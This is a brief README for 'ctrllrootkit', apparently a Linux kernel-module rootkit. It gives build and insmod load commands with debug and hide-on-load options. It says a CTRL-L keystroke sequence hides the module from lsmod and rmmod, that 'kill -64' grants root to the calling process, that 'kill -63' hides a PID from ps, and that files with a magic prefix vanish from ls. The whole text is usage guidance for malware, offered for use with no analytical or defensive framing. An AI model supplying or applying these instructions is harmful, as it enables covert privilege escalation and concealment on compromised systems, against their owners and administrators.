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ctrllrootkit

Building & Loading/Unloading

build with

make all

load with

insmod ctrll.ko <options>

where options are:

  • debug=(0-2)
    • 0 = off
    • 1 = normal
    • 2 = extra
  • hideonload=(0-1)
    • 0 = off
    • 1 = on

Hiding/Unhiding

Hide/Unhide rootkit from lsmod/rmmod by pressing CTRL-L three times. Note: can't remove rootkit with rmmod if it is hidden.

Kill interception

  • kill -64 gives root to calling process
  • kill -63 hides PID from 'ps' command

Hiding files/directories

files starting with MAGIC_PREFIX (see ctrll.h) will be hidden from ls